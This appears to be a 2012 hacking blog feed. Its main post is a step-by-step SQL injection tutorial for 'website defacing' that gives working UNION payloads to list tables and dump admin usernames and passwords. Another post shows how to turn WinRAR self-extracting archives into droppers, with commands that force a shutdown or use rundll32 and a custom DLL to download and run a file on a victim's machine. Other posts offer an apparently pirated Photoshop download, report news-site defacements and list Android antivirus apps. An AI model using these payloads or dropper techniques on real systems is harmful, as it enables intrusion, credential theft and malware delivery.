For the 1st Time you get a chance to learn Ethical Hacking in Kolkata.

Venue : Ashutosh Memorial Hall [Ashutosh college Auditorium]
92, S.P Mukherjee Road, Kolkata-700026

  Time : 9:00 Am Onwards Date : 29 July 2012

For Tickets & Registrations Contact: +91-9831974777 || +91-9831988858

  https://www.facebook.com/hackDhackers

HACK WEBSITES USING SQL INJECTION :: STEP BY STEP WEBSITE DEFACING

noreply@blogger.com (vic) — Tue, 22 May 2012 12:47:00 -0700

SQL Injection in MySQL Databases
SQL Injection attacks are code injections that exploit the database layer of the application. This is most commonly the MySQL database, but there are techniques to carry out this attack in other databases such as Oracle. In this tutorial i will be showing you the steps to carry out the attack on a MySQL Database.

Step 1:
When testing a website for SQL Injection vulnerabilities, you need to find a page that looks like this:
www.site.com/page=1

or
www.site.com/id=5

Basically the site needs to have an = then a number or a string, but most commonly a number. Once you have found a page like this, we test for vulnerability by simply entering a ' after the number in the url. For example:

www.site.com/page=1'
If the database is vulnerable, the page will spit out a MySQL error such as;

Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /home/wwwprof/public_html/readnews.php on line 29

If the page loads as normal then the database is not vulnerable, and the website is not vulnerable to SQL Injection.

Step 2

Now we need to find the number of union columns in the database. We do this using the "order by" command. We do this by entering "order by 1--", "order by 2--" and so on until we receive a page error. For example:

www.site.com/page=1 order by 1--
http://www.site.com/page=1 order by 2--
http://www.site.com/page=1 order by 3--
http://www.site.com/page=1 order by 4--
http://www.site.com/page=1 order by 5--
If we receive another MySQL error here, then that means we have 4 columns. If the site errored on "order by 9" then we would have 8 columns. If this does not work, instead of -- after the number, change it with /*, as they are two difference prefixes and if one works the other tends not too. It just depends on the way the database is configured as to which prefix is used.

Step 3

We now are going to use the "union" command to find the vulnerable columns. So we enter after the url, union all select (number of columns)--,
for example:
www.site.com/page=1 union all select 1,2,3,4--

This is what we would enter if we have 4 columns. If you have 7 columns you would put,union all select 1,2,3,4,5,6,7-- If this is done successfully the page should show a couple of numbers somewhere on the page. For example, 2 and 3. This means columns 2 and 3 are vulnerable.

Step 4

We now need to find the database version, name and user. We do this by replacing the vulnerable column numbers with the following commands:
user()
database()
version()
or if these dont work try...
@@user
@@version
@@database

For example the url would look like:
www.site.com/page=1 union all select 1,user(),version(),4--

The resulting page would then show the database user and then the MySQL version. For example admin@localhost and MySQL 5.0.83.
IMPORTANT: If the version is 5 and above read on to carry out the attack, if it is 4 and below, you have to brute force or guess the table and column names, programs can be used to do this.

Step 5

In this step our aim is to list all the table names in the database. To do this we enter the following command after the url.
UNION SELECT 1,table_name,3,4 FROM information_schema.tables--
So the url would look like:
www.site.com/page=1 UNION SELECT 1,table_name,3,4 FROM information_schema.tables--

Remember the "table_name" goes in the vulnerable column number you found earlier. If this command is entered correctly, the page should show all the tables in the database, so look for tables that may contain useful information such as passwords, so look for admin tables or member or user tables.

Step 6
In this Step we want to list all the column names in the database, to do this we use the following command:

union all select 1,2,group_concat(column_name),4 from information_schema.columns where table_schema=database()--
So the url would look like this:
www.site.com/page=1 union all select 1,2,group_concat(column_name),4 from information_schema.columns where table_schema=database()--
This command makes the page spit out ALL the column names in the database. So again, look for interesting names such as user,email and password.

Step 7

Finally we need to dump the data, so say we want to get the "username" and "password" fields, from table "admin" we would use the following command,
union all select 1,2,group_concat(username,0x3a,password),4 from admin--
So the url would look like this:
www.site.com/page=1 union all select 1,2,group_concat(username,0x3a,password),4 from admin--

Here the "concat" command matches up the username with the password so you dont have to guess, if this command is successful then you should be presented with a page full of usernames and passwords from the website.

Source :[ Imagine Next : Lessons / Courses]

ADOBE PHOTOSHOP CS6 Download

noreply@blogger.com (vic) — Fri, 30 Mar 2012 11:35:00 -0700

HELLO friends.
recently the adobe has launched the new version of photoshop...
its really cool than before versions...

here is the link to the direct download of it!!!!

FOR WINDOWS: LINK IS GIVEN BELOW

CS6 DOWNLOAD

MEMORY: 1.7 GB

FOR MAC: LINK IS GIVEN BELOW:

CS6 DOWNLOAD

MEMORY: 984 MB

download and enjoy with the new software and its new features..

Note: TRY DOWNLOADING USING THE IDM.
AS IT HAS THE RESUMING DOWNLOAD FACILITY YOU CAN DOWNLOAD IT EASILY

More than 24 News websites Hacked Today : 30 March

noreply@blogger.com (vic) — Fri, 30 Mar 2012 10:57:00 -0700

Wow What a Day It was!!
And suddenly You get up and hear a news that more than 24 news websites have been hacked Tonight!!

Its a group of Pakistani hackers, who pretends to be tired of having repeted news from Indians professional and other students.

"They pretend to carry on hacking all the major news website of India. And tend to go for more extended and powerful Targets Like "NDTV India, AAJ",etc.

But my question is, what are the major groups..

Such as the "ICA,ICI,CYBER ARMY" and all are doing.

I have a question from these groups, are You all are just their to Hack??

Wherz the protection part??

And U are not even aware of this I guess.
All those Please wake and do something.

More than 24 News websites Hacked Today : 30 March

Screen Shots:

SP Toolkit - Open Source Phishing Education Toolkit

noreply@blogger.com (vic) — Mon, 30 Jan 2012 21:34:00 -0800

A new open source toolkit makes it ridiculously simple to set up phishing Web sites and lures. The software was designed to help companies test the phishing awareness of their employees, but as with most securi
ty tools, this one could be abused by miscreants to launch malicious attacks.

The spt project is an open source phishing education toolkit that aims to help in securing the mind as opposed to securing computers. Organizations spend billions of dollars annually in an effort to safeguard information systems, but spend little to nothing on the under trained and susceptible minds that operate these systems, thus rendering most technical protections instantly ineffective. A simple, targeted link is all it takes to bypass the most advanced security protections. The link is clicked, the deed is done.spt was developed from the ground up to provide a simple and easy to use framework to identify your weakest links so that you can patch the human vulnerability. If the spt project sounds interesting to you, please consider downloading it for evaluation in your own organization. Feedback is welcomed and always appreciated.

Download the project

Self-extracting archive (SFX) as Creative Virus Handler

noreply@blogger.com (vic) — Mon, 30 Jan 2012 21:32:00 -0800

Yesterday I Found and interesting article about "Self-extracting archive (SFX)" on Unremote.org by DarkCoderSc. SFX is a little application that contains compressed files. Creating a customized WinRAR SFX archives is a very easy task, but not all people know how to do it. It is therefore exactly the same as a .ZIP or .RAR archive. The only difference is that, when you execute it, will automatically extract the files. However, if you add some parameters, you can execute them after extraction or execute a shell command before extraction. So this feature can be used as good virus handler. Let's See how?

DarkCoderSc shared his experience with us using a Video Demonstration as shown Below.

Start up the WinRAR application; click ‘Browse for folder’ under the ‘File’ menu and browse to the location of the file.
With the file highlighted, clicking on the ‘Add’ button will kickoff the archiving process and selecting the ‘Create SFX archive’ option will give the file its self-extracting feature.

Under the ‘Advanced’ tab and clicking on the ‘SFX options’ button, where we can now configure our ‘Advanced SFX options’.
In the first input field you can add a file name that already exist on the current drive or one of the extracted files to execute after the extraction.

In the second input field you can add a file name that already exist in the current drive to execute before the extraction.

PART 1: Run Basic Windows Shell Commands using SFX:

Example 1: %SYSTEMDRIVE%\windows\system32\cmd.exe /k shutdown -s -f -t 3600
In the first input enter this command if we generate the SFX package and run it after the extraction we see a DOS window and a windows notification saying our computer will shutdown in 1 hour.

Example 2: %SYSTEMDRIVE%\windows\notepad.exe c:\atextfile.txt
You can do this with any other present application on the system such as opening a notepad file.

Example 3: %SYSTEMDRIVE%\Program Files\Internet Explorer\iexplore.exe http://unremote.org/
Opening a webpage using Internet Explorer

PART 2: Run Advance Tricky Commands using SFX
Using only a little .dll in the SFX package attacker can download and execute an application on victim's system that can or cannot be a virus and For this we just required "Rundll32 Microsoft application" and "FASM (Flat Assembler) Compiler".

Now Create a new folder and a new file called ourdll.asm when its done open this file in FASM and pastethis code in the file. Edit the path to Files in sample Code for personal Usage.

Now in the menu bar click on “Run” >> “Compile”. Our dll is ready now, Let's create our SFX file downloader .

You need to follow the next steps:

- Right click on the dll and click on “Add to archive” << WinRAR explorer option

- Choose SFX package in the options list

- Go to Advanced Settings tab

- Click on SFX Settings button

- In extract to input add this line - "%APPDATA%\dcsc\ourdll.dll"

- In the first input parameter enter this line

%SYSTEMDRIVE%\windows\system32\rundll32.exe %APPDATA%\dcsc\ourdll.dll, dcscdownload

Now we can generate our archive, if we have correctly setup the SFX, then it will download and execute the chosen file after the full extractions.

PART 3: SFX as System Killer

The SFX manager includes two other dangerous functions (Run as administrator and Delete files after extraction). The option Run as administrator will ask to run it as admin, so the SFX will have all the rights on the system and, after extraction, the delete files will be usefull to do harmful things in the system.

To Get the Steps of this Method, You should Read the Original Article Written By Unremote.org.

Your Android really needs Antivirus Security ?

noreply@blogger.com (vic) — Mon, 30 Jan 2012 21:30:00 -0800

Why shouldn't you protect your Android phone? Why to use an Antivirus for your Android? So that users can protect their devices from trojans, viruses, spyware, and other types of malware. Most people carry a lot of sensitive data on their phones. Recently an SMS Trojan horse posing as a media player began infecting Android phones on Russian networks. Once the victim installed the malicious app, it began sending text messages to premium numbers, leaving the user with a huge phone bill.

Also Security researchers from Kaspersky Labs have intercepted a scareware variant targeting Android users, distributed as an Opera Virus Scanner. If the user clicks on the link, they’ll be asked to download VirusScanner.apk, which is currently detected as Trojan-SMS.AndroidOS.Scavir. If the user is using a non-Android device, they’ll be asked to download VirusScanner.jar currently detected as Trojan-SMS.J2ME.Agent.ij.

With this in mind we at The Hacker News have list down the top 5 antivirus apps for Android phones:

1.) Lookout Security & Antivirus: Lookout Security & Antivirus is arguably the most popular security and anti-virus for Android around. A free account lets you scan your phone for malware, back up and restore your data online, and use GPS to locate your phone should it ever get lost or stolen. [Get This]

2.) Avast Free Mobile Security: Avast Free Mobile Security supports a number of features that are usually available only in paid-for Android security software. These include privacy reports, call and SMS filtering, SIM-card change notifications, firewall and application management. [Get This]

3.) Kaspersky Mobile Security: Kaspersky Lab released a free security application to keep your contacts, email and banking information from falling into the wrong hands. Kaspersky Mobile Security Lite can also remotely delete all personal data from the device including contacts, addresses, calendars, text messages and email preventing sensitive information from being illegally used or stolen. [Get This]

4.) Norton Mobile Security Beta: Norton lends its anti-malware, anti virus, and security expertise to mobile. Smartphones hold a lot of valuable data: Text messages, e-mail, and even credit card numbers can reside on the device, where they're easily accessed. [Get This]

5.) Mobile Security 6.0: NQ Mobile released Mobile Security 6.0 for Android as a free download. It etects and deletes viruses, malicious URLs, and other threats before you even know they exist with newly enhanced features including GPS-based anti-loss/theft features, backup and restore tools for your contacts, complete privacy protection, traffic monitoring, and more. [Get This]

Perhaps it’s the 90’s and 80’s mindset that has us still thinking that cell phones are dumb single purpose devices, that causes us to not care about the security of our mobile devices.A wake up call to just how vulnerable cell phones are was recently raised when Google had to remove about 21 malicious apps from the market that were found to be nabbing user’s data. Go ! Get one Best Security Product for your Android from above list, If you really love your Phone ;-)